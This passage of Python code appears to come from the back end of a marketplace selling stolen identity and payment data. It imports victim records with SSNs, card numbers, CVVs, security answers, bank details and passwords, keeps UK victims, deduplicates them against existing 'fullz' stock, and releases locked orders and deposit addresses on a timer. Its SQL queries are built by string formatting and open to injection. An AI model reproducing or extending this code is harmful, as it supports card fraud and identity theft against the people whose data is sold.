full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform = encrypt(full_name).decode('utf-8'), encrypt(birth_date).decode('utf-8'), encrypt(address).decode('utf-8'), encrypt(zip).decode('utf-8'), encrypt(country).decode('utf-8'), encrypt(phone).decode('utf-8'), encrypt(ssn).decode('utf-8'), encrypt(secu_question).decode('utf-8'), encrypt(secu_answer).decode('utf-8'), encrypt(card_bin).decode('utf-8'), encrypt(card_bank).decode('utf-8'), encrypt(card_type).decode('utf-8'), encrypt(card_number).decode('utf-8'), encrypt(expire_date).decode('utf-8'), encrypt(cvv).decode('utf-8'), encrypt(account_number).decode('utf-8'), encrypt(sortcode).decode('utf-8'), encrypt(user_name).decode('utf-8'), encrypt(password).decode('utf-8'), encrypt(ip).decode('utf-8'), encrypt(location).decode('utf-8'), encrypt(user_agent).decode('utf-8'), encrypt(browser).decode('utf-8'), encrypt(platform).decode('utf-8')
# print('before check')
# check
self.filter.set_badword_mode('Equal')
check = self.filter.check_word([fullname, addres, security_answer])
if check == 'EXIST_BAD_WORD':
print('%s has bad word' % fullname)
continue
check = self.filter.check_location(locat)
if check == 'NOT_UK':
print('%s is not in United Kingdom' % fullname)
continue
check = self.filter.check_card(card)
if check == 'EXIST_IN_FULLZ':
print('%s exist in fullz' % fullname)
continue
check, idx = self.filter.check_ip(ip_address, table_name)
if check == 'EXIST_IN_FULLZ':
print('%s exist in fullz' % fullname)
continue
elif check == 'EXIST_IN_PP':
self.filter.delete_row('pp', idx)
print('%s exist in pp' % idx)
# print('before query')
# get id & query
try:
id = int(id.replace("| id : ", "").replace("\n", ""), 10)
query = "insert into `%s` (`id`, `full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, id, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type)
except:
id = ''
query = "insert into `%s` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type)
# print(query)
query_conn.execute(query)
conn.commit()
insert_count = query_conn.rowcount
print("type=%s, id = %s, insert cont = %s -> Success" % (table_name, id, insert_count))
except:
# print('substring not found. index=%s, type=%s' % (index, table_name))
pass
except Exception as e:
print('ImportModule import %s method has any errors.' % table_name)
print(e)
def pre_process():
try:
time_now = int((datetime.datetime.now() -
datetime.datetime(1970, 1, 1)).total_seconds())
# confirm -> on
unlock_time = time_now - 1800
query = "update pp set status='on', lock_time=0, lock_customer='', deposit_address='' where status='confirm' and lock_time<%s" % unlock_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output(
'200', 'thread', '', 'success',
('%d update pp status=on from status=confirm' % update_count),
[], False)
query = "update fullz set status='on', lock_time=0, lock_customer='', deposit_address='' where status='confirm' and lock_time<%s" % unlock_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output('201', 'thread', '', 'success',
('%d update fullz status=on from status=confirm' %
update_count), [], False)
query = "update dead_fullz set status='on', lock_time=0, lock_customer='', deposit_address='' where status='confirm' and lock_time<%s" % unlock_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output('202', 'thread', '', 'success',
('%d update dead_fullz status=on from status=confirm' %
update_count), [], False)
# ongoing Y -> N
query = "update `order` set ongoing='N' where ongoing='Y' and `time`<%s" % unlock_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output('224', 'thread', '', 'success',
('%d update order ongoing=N' % update_count), [], False)
# delete deposit
query = "delete from deposit where start_time<%s" % unlock_time
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('203', 'thread', '', 'success',
('%d delete deposit' % delete_count), [], False)
# lock -> on
unlock_time = time_now - 1800
query = "update pp set status='on', lock_time=0, lock_customer='' where status='lock' and lock_time<%s" % unlock_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output(
'204', 'thread', '', 'success',
('%d update pp status=on from status=lock' % update_count), [],
False)
query = "update fullz set status='on', lock_time=0, lock_customer='' where status='lock' and lock_time<%s" % unlock_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output(
'205', 'thread', '', 'success',
('%d update fullz status=on from status=lock' % update_count),
[], False)
query = "update dead_fullz set status='on', lock_time=0, lock_customer='' where status='lock' and lock_time<%s" % unlock_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output('206', 'thread', '', 'success',
('%d update dead_fullz status=on from status=lock' %
update_count), [], False)
# dead -> on
dead_time = time_now - 3600 * 72
query = "update dead_fullz set status='on', lock_time=0, lock_customer='', deposit_address='' where status='dead' and lock_time<%s" % dead_time
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output('209', 'thread', uin, 'success',
('%d update dead_fullz status=on from status=dead' %
update_count), [], False)
except:
print('pre process error occurs.')
